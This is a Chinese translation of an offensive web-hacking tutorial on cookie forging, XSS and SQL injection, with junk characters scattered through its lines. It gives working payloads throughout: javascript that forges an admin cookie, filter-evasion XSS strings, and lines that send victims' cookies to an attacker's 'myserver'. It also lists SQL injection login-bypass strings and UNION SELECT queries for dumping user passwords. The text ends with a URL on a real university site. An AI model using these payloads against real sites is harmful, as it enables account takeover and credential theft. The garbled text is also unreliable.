XSS & SQL注入

admin

XSS & SQL注入
文章作者：CyberPhreak
4 S7 a/ a8 @  L% s) a9 R译文作者：黯魂 [S.S.T]


7 \* z2 U* b' R# x0 tXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
/ {# W# U4 P* x  ~1 JX Web Security - XSS & more X
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

3 _3 P* z2 X% Z% E/ N9 X( ?6 L
0 U' \8 \( D4 ]% P# `~介绍
$ h0 O" K6 I0 a  T
: Z6 a2 }3 E' O6 w在这篇文章中我将说明所有关于XSS以及更多相关的知识.通过这篇文档,我希望能让你明白什么是XSS,为什么使用XSS,以及怎样使用XSS.一旦你学会了,你将需要发挥自己的创造力,因为大多数人都修补了简单的XSS漏洞.但是他们所忘记做的是修补比XSS的一个字符串更多的漏洞,并且php中特殊安全机制被用来防御XSS,而取代他们自己的方法.同时我将阐述的不仅仅是XSS,而是所有的web安全.

XXXXXXXXXXXXXXXXXXXXX
X Table OF Contents X
  E1 h, D2 N! J1 f7 |7 EXXXXXXXXXXXXXXXXXXXXX
2 e; z! w0 r/ u: P
6 g6 _" ?8 @" o" y) HXXXXXXXXXXXXXXXXXXXX
X Cookie Editing X
2 N! ]' t( d) q2 i% ^6 j( i/ i$ sX XSS X
X SQL Injection X
% ?* i6 [2 v7 R. F/ V' ^XXXXXXXXXXXXXXXXXXXX

~什么是cookie
1 K# U  x% m# i
' n/ d$ L+ i* dcookie就是一块数据.一旦你浏览一个站点并且注册一个帐号,一个cookie就被设置以记录你的信息.cookie仅仅保存你登录的信息以使站点检测以前你是否登录过,如果不是,它就会检测你的用户名和密码的正确性,然后登录.比如说在一个夜总会,你买了一张票,他们就会给你一张卡.因此你可以进进出出而不用每次都买票.而cookies比你所能看到的要复杂得多.夜总会只能记住你一晚上,但是cookies却能记住你一辈子.
# T/ y) a9 A- C+ p2 m3 [+ G
~警告&欺骗
2 u3 p9 `+ L0 W- [7 I9 k5 \
那么现在你知道了cookie是什么...你如何看待它们?事实上,cookie编辑(修改)是最简单的方法之一.只要有一个浏览器,你就能够查看和编辑cookies,并且只需要一些基础的javascript知识.打开你的浏览器然后随便去一个网站吧,登录...现在输入javascript:alert(document.cookie).这时你应该可以看见一个用户名和密码.然而大多数站点现在都不使用cookies,而使用sessions.很遗憾,sessions不能被修改(服务端可以),不像cookies,一旦你修改了一个cookie你就可以欺骗你自己.现在让我们开始欺骗...假设你看到了一个警告框并且看到一些像这样的内容:
& v, n, G4 ]1 Y4 D1 {0 z9 j4 S
strusername=cnsst;strpassword=cnsst
" m. D7 V+ A5 I) x6 _
此时假设你知道'bitch'是一个管理员,可是你不知道密码. 由于脆弱的安全机制你不需要密码:javascript:void(document.cookie="strusername=bitch")
0 D1 j8 ~# d( U; ^% j7 u现在输入:javascript:alert(document.cookie).那几乎非常接近cookie修改了...
) x0 R" L- c  O1 ~+ m
$ p/ d: G& _+ x! c# T. _! q8 V- D~什么是XSS

XSS,或者CSS,不管你更喜欢怎样称呼它,XSS(CSS)都代表着跨站脚本.基本上意思就是你能以任何方式注入脚本,来让它完成你想要做的.通过XSS你也可以截获输入信息,像用户名,密码以及cookies.这都将被讨论,所以接下来将会有很多例子,我们这篇文章应该能够帮你在XSS上发挥自己的创造力.

~为什么使用XSS

) b/ X! Z  j! P很明显的问题,通过XSS你能在客户端和服务器端执行任何类型的脚本.然而XSS却不仅仅局限于执行脚本上,还能截获输入.输入类似:<input name="name" type="name">
你通过XSS截获输入,然后通过一个秘密文件把截获到的信息发送向你的站点.而这一切绝不是XSS所能实现的全部作用.XSS还能截获cookies.Cookies保存着有价值的信息,像用户名,密码等等.

9 T! c3 o/ b, W; c* Y0 b  s3 u: _~让我们开始吧…

6 B+ [# ]- o8 |( V7 i* G4 e我假定你知道html和javascript,而php知识也有帮助,但却不是必要的.让我们从这个php脚本开始.
% p, p& @& G. G1 s. r
* u8 _& I* g, o6 |7 C; yXSS--跨站脚本&lt;html&gt;
3 O( t0 X* s9 ]4 n: n3 ~& K5 h
&lt;body&gt;
2 }! R4 g- Z0 f* E5 g
4 m; v# u; f3 Z, q% {( s  j&lt;form action="" method="GET"&gt;

&lt;!-- 我使用的GET方法,因为当我们利用的时候更容易练习. --&gt;
' g9 k5 L8 D4 L  c2 w
Script: &lt;input name="name" type="name"&gt;

&lt;input type="submit" value="submit"&gt;
  G9 _- V8 ^( _
&lt;/form&gt;
" m8 H# f0 |2 j+ `9 r7 G$ q0 ]5 z3 L
&lt;/body&gt;

&lt;/html&gt;
/ E7 _. B2 M# w

+ q% [  L+ b  z( C# Q4 D4 [
5 J$ X* c, P; |( H- s/ J&lt;?php
  @3 {& ?( ~) Q. w0 c% `
$name = $_GET['name'];

8 q% J& y8 M; T7 i9 pecho("Hello $name");

?&gt;
) r& @) N- A7 m& r复制代码OK,我们应该都知道上面的代码有什么用...这是一个非常奇怪的脚本,没有一个人会在自己的站点上使用它(至少我没见过),但是它对初学者理解原理却真的很有用.来看看我输入后所得到的信息:
4 T6 D; v! `. z1 ^# y5 d# v! T4 U
cnsst
"Hello cnsst!"

引号内的信息就是输出信息..注意看,现在我输入:
3 o$ [2 Q9 U( \/ _# [  o<script>alert(document.cookie)</script>
$ ?6 M, }( _( L' Y$ T: I
那么它将会弹出document.cookie!所以它是易受XSS攻击的!
7 \5 |1 t  c- W! |6 z5 P% S
现在我们已经对XSS有了一点了解,那让我们理解它.首先,脚本做的是取得你的输入然后粘贴它.嗯...也就是说我们能输入任何数据.所以?等等...任何数据...好的,你想问客户端和服务器端分别有什么语言? 让我告诉你,基本上客户端语言是建立在你客户端浏览器之上的:JavaScript,html, VBScript等等...
, x7 Q" h% p: N/ u) }% c
服务器端语言在另一边,不是建立在你客户端之上的,而建立在服务器之上,有php,asp等等...
& e- n/ I4 m3 `* X
3 u5 z. I( M5 ]3 m0 L已有一些方法注入php,稍后我将说明.现在先想想这怎样才能对我们有帮助?注入javascript?简单.比如说你正在编写一个网站程序,由于是你的站点,所以你能使用所有你想使用的javascript(JS).因此其他任何人也可以,因为XSS允许你让网站运行你想要运行的任何脚本.
" H3 c8 R) K& m
7 @- i% Z8 H9 Z& c  w3 Y) x让我们看一个稍微复杂点的例子!

$ W, V2 I( D& s4 r8 v9 O假设你已经输入了<script>alert(document.cookie)</script>,并且回显是这样的:
' _" Z, H. P! }# Gscriptalert(document.cookie)/script
或者可能是这样的:
scriptalertdocument.cookie/script

可以看出更难利用了...不过有很多方法使用XSS,这只是其中一种.而且是其中最烂的方法之一.你看到当中的"<>"都被空字符" "替换了.

让我们继续利用:
( q" [" F- g& g$ q( {( s<<script>>alert(document.cookie)<</script>>
: ]! B( a  Z: I; Z6 Q& x
你的输出将弹出document.cookie.

! _, m, n( |% |# v现在来看看更狠的:
<<script>>alert((document.cookie))<<//script>>
/ P0 ?4 E" |9 A6 H$ O

5 S/ e, k1 X- t( W他们可能会替换所有的,或者只是"<>".所以如果一对不能得以执行,另一对就可以.现在,如果你看到:
4 C+ N8 l3 `1 S3 Q& _5 [scriptalertdocument.cookie/script
或者 <<<script>>>alert(document.cookie)<<</script>>>  
0 F# ?" v! N, u  j2 C5 n/ [/ {
9 y8 x6 I$ m! \6 D$ g3 A, k9 T他们可能替换2对来欺骗你,或者替换一些字母.试着用你自己的方法来利用...你输入:
<script>alert(document.cookie)</script>
- i0 ~$ C' v9 \  k6 [1 D
$ ~5 z# i" D1 p- B& ~  w. Z输出像这样:srplert(document.cookie)srp

. M1 ^- B5 ?3 b. H3 `! S仔细观察,你就会发现document.cookie中并没有什么被替换.为什么呢? 因为他们并不清楚你想要alert什么,以及你想做什么.所以他们只是猜测,就只阻止了"<>"以及script部分.怎么绕过?看看这个:
) V" ~7 e4 N/ ]& \5 s<<sccriiptt>>aalert(document.cookie)<<//sccriiptt>>

所有重复多余的部分刚好被替换!现在让我们来点更高级的!
8 \/ L5 ~6 s0 X3 S
" Z- @6 N. E1 B9 k  V" w8 s这次他们使用的仍然是替换,但是却检查了整个字符串!例如:
( g  b0 E" s$ J, |$ P8 N2 V. ]<script>alert(document.cookie)</script>
8 W1 l/ p8 p( g3 G
+ l+ M) ?# Z. Q1 I. M7 c/ k! B3 z输出将是:
scriptalert(document.cookie)script
& e# k% ]7 ~0 Z, h. a+ o+ u) S! @
看到这,你激动地说,"我知道该怎么做了!" OK,让我们按照你的方法来重新构造:
<<script>>alert(document.cookie)<</script>>

输出:scriptalert(document.cookie)script. 这时你可能会继续增加更多的<>.可是,他们替换了任何"<>",无论你输入多少个...看到我说"任何"了吗?使用下面这个例子:
% e) U5 d. C) n9 J
$ y, F/ [/ ~4 M1 s5 f9 u1 y<
script
>
# ]+ q, N% h  y  h$ V) _) Malert
9 d* t% m/ Q2 `/ d( p# {(
document
.
cookie
6 H4 y! H6 v! X( q) n( U* P6 ?)
<
2 a7 ^( D# l1 g9 L7 J2 s/
6 U/ ~+ d7 Y, V4 P4 s& J3 U2 yscript
>


3 a5 n2 U# p* l. n( j看看它,它没有替换"<>",它替换代码关键字.所以即便你写的是一句没有"<>"的代码,将仍然被替换,这就是我们为什么这样写的原因.假如对方使用更严格的标准,替换任何类型的代码,甚至是"alert"! 我们又该怎么改进呢?看看这个:
<
s
( n( d7 w8 N) q' m/ t3 ic
  ]7 u* F8 h0 X8 n9 M+ V6 O5 \r
i
p
t
: }3 ]& L2 Y+ R  D7 L1 a>
a
9 w* ~$ i. j2 a% O; x, d4 V% |l
e
r
t
2 c' q+ m5 c8 l1 ]/ [1 J* V(
d
. q1 K8 @$ \4 ho
c
! r9 S# k4 L5 u- Uu
* s, d' N! e! z2 km
e
  t) y* B" t/ g# _: ^n
" G0 q# s( S, o0 A" _1 p7 Bt
/ K; \) L: l/ q' A.
) O% V/ H: F: ?" m. Tc
9 T# t# r) N, v$ J! I0 }" Po
) B5 A# {8 ?  ^( Ho
k
i
e
' @4 K0 \- D/ P; g)
2 u2 X# b- h/ ~7 ^<
/
s
c
r
i
- q8 U6 J0 ]& Y% k! rp
t
$ _+ j6 R9 w# V! S5 ~; Z/
>

* v6 b4 R5 e# h! t" P这下应该可以了,但是如果他们仍然替换"<",你可以增加2对"<< >>"(并且你可以用任何字符取代document.cookie)

还有更多我可以演示的替换,但是我教你的只是想让你发挥自己的创造力.

5 [- [* b4 L- n现在让我来讲讲其他XSS方法.前面我们已经讨论了客户端XSS,那么现在就来看看服务器端XSS.

% I$ {: W5 ^" C5 h# x% J首先让我说明它们之间的区别.客户端是从你浏览器经解释语言,如JavaScript (JS) VBScript (VBS)等而看到的.服务器端XSS是通过来自服务器端的语言,如php,asp等的XSS.客户端通过浏览器查看,服务器端通过服务器查看.
) `4 p# p8 h( T. b: ?: A& z4 T
我们已经学会了怎样构造客户端XSS,而构造服务器端我们必须注入脚本到服务器上.要完成这个,我们需要找到一个像任何XSS的脚本,但是这个脚本能够保存你的XSS到服务器中.现在,假设你在一个网站上发表了一篇文章,现在要做的是取代文章,用XSS,为什么我们应该用JavaScript?为什么不用php?但是先让我给你看点东西.
document.forms(0).action ="http://myserver/myscript.php
, }' N3 E$ T; h5 z0 Z. |  J这既能在服务器端也能在客户端,没有关系.因此你的脚本将复制他们所输入的信息到那个表单中,并保存在我们站点上的一个*.txt文件中.
; d5 H) e5 b8 t& @
) [8 k7 D" D% J5 ^* ^% ?0 R再次假设你在网站上注册了一个帐号,并且可以自定义资料...
0 \! e" Y" L0 U% S. T3 F. l( mdocument.images(0).src="http://myserver/cookie.php"+document.cookie.
或者如果你有空间可以存放指向自定义内容的链接,你可以输入:
javascript:location.href="http://myserver/cookie.php"+document.cookie
2 @! c- r, k# n这将截获访问我们资料的用户的cookie.这可以用于任何地方而不仅仅在资料上,它只是一个例子.
  P9 [/ }) H% K
8 Q  ]$ s# x8 J  \) i  p6 ?* R! x有时一个站点会回显你的UserAgent和Referer...现在让我们在DOS提示符下或者命令行窗口中试一试一些XSS,
/ q1 D) x) m2 k/ O; ]1 y# Vtelnet example.com
. Y) H. ~- f2 KGET /page/toplacewhere_itechos_your_useragent.php HTTP/1.1
: N9 O7 H% r; ~# uUser-Agent: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
  k& i: m2 y* ~1 G8 wReferer: &lt;script&gt;alert(document.cookie)&lt;/script&gt;
. ?" ~( \* k2 R2 p2 {. J~什么是SQL注入
7 j  f4 Y4 ^$ I' b
SQL注入,网站中最大的安全问题之一.那么到底什么是SQL注入?其实也就是注入SQL.现在让我们来挖掘不同级别的SQL漏洞.假设你有一个像这样的登录页面:&lt;html&gt;
# s: D6 R1 W" d3 R( z
&lt;body&gt;

&lt;form action="" method="POST"&gt;

Username: &lt;input name="name" type="name"&gt;
  i# I5 k+ c3 N2 m
Password: &lt;input name="password" type="password"&gt;

6 g2 a2 u! Q7 A% \+ p&lt;input type="submit" type="submit" value="Submit"&gt;
. A9 l* j" ]: {1 y3 J" W
&lt;/form&gt;

&lt;/body&gt;

. s5 i! J2 R0 n&lt;/html&gt;
* C* D! N# ?2 g4 L复制代码这里面有一个XSS漏洞,但是不用担心它,没有办法猜出或者破解出密码.所以,我们该怎么办?SQL注入!

6 u3 ^1 b8 m! M最简单的攻击是在用户名和密码那里输入"'".如果没有保护机制,此时你应该得到一个错误信息.如果你得到了,它就是极易受攻击的.可是错误信息毫无价值,除非你知道如何利用它.所以,我会给你一个你可以使用的注入列表,以便在你得到一个单引号的错误信息时使用.

'='
' f- @3 B7 q% l3 X# _'OR 1=1--
; \; y6 Q8 M1 D; M* J'OR a=a--
'OR'
3 w7 i$ I& M# }6 E, x1 q0 N
7 w) p( r0 p& Y- e+ K自从人们增强安全性以后,现在这些注入就很难发挥作用了,但是下面这个列表却是很多人在安全列表里没有注意到的:

'OR''='
'OR"="
'OR'="
) B+ K( D! V. @$ d) R' X% E'OR '="
: t# D3 x* o' t& V2 s+ G'OR "='
'OR ''='
'OR '=''
'OR "=''
'OR ''="
0 c' o. ^- Y5 u: `

" C5 @' U" ]0 `' I4 r* j~
) Q7 r3 }6 Y' a  S  C; e) J+ k现在让我说明UNION ALL SELECT声明,这将选出数据库中的一个表...所显示的内容取决于你所选择的列.
UNION ALL SELECT username,password FROM users
+ `3 G6 \# a/ H" Y1 U1 O
; M) r8 Q, T' i- A; K8 g2 q* D% n这个查询语句将执行,但是….如果毫无作用呢?
- s, V1 x3 o8 BUNION ALL SELECT username,password FROM users WHERE username='OR "='
1 q: t, _# E( c* U- F4 tAND password='OR "='
# x5 b* k$ ?& F! I4 f
% W$ Z. Z: i. ?3 x7 X你可能使用其他字符来替代'OR "='以注入存在的注入点.可是首先考虑一下,你是怎么知道表名的?实际上,你发现了一个SQL漏洞,它给了你错误信息,而错误信息包含了表名.

$ H0 C; e: w! [, `一旦你发现了漏洞,你就会按照习惯去用类似'OR "='的方法去进行注入,以得到表名.有时候你想从表中查询一些有用的数据,你却不得不选择所有的表,因为你并不知道所要查询的数据在哪个表里.下面的例子中存在20个不同表名的表,你试图查询一个ip的列表:
UNION ALL SELECT
" F. F0 z  [1 M! v% L- Tip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip,ip FROM logs
" v6 {2 v) }$ q1 m: I& J" V0 }WHERE ip='OR''="
4 r( a1 o' \9 W, S; C& ^
3 ~! ^: i2 z' d现在你看到这个了吗?(我确信你已经看到了)
, H, x9 K) ^, C3 ~http://example.com/index.php?article=34
那将浏览Id为34的文章...让我们用"'"替换34:
http://example.com/index.php?article='
  ~& C8 D; C# T1 d& L+ y- c
! N! c9 n( p" ~2 ]9 G, S
现在,记住我所说的,大多数人都没有意识到'所带来的不安全性,你总是能够尝试不同的注入方法,这里是一些例子:
- P# K+ x8 P: L7 u/ ~: B' ~' shttp://example.com/index.php?article='
http://example.com/index.php?article='='
http://example.com/index.php?article='OR 1=1--
http://example.com/index.php?article='OR a=a--
http://example.com/index.php?article='OR '="
: @3 V5 t1 H) c# Ihttp://example.com/index.php?article='OR "='
3 H1 T# O" b+ X$ P; C' m; O5 @+ {* f/ chttp://example.com/index.php?article='OR ''='
5 v: b- A0 i! B7 I8 l& Nhttp://example.com/index.php?article='OR '=''
http://example.com/index.php?article='OR''='
5 \4 Z, Y( {: L; E2 Y' P3 i4 x  Khttp://example.com/index.php?article='OR"'='
9 A. l. H" i5 Z6 M3 T/ Lhttp://example.com/index.php?article='OR"''='

+ [5 @9 p1 |& Q6 Z8 P% p3 w$ ~/ a/ J3 i尽情发挥自己的创造力!
% n0 b" H0 }3 I4 A& _. {- m5 ~http://www.ie.tsinghua.edu.cn/notice/show.php?id=704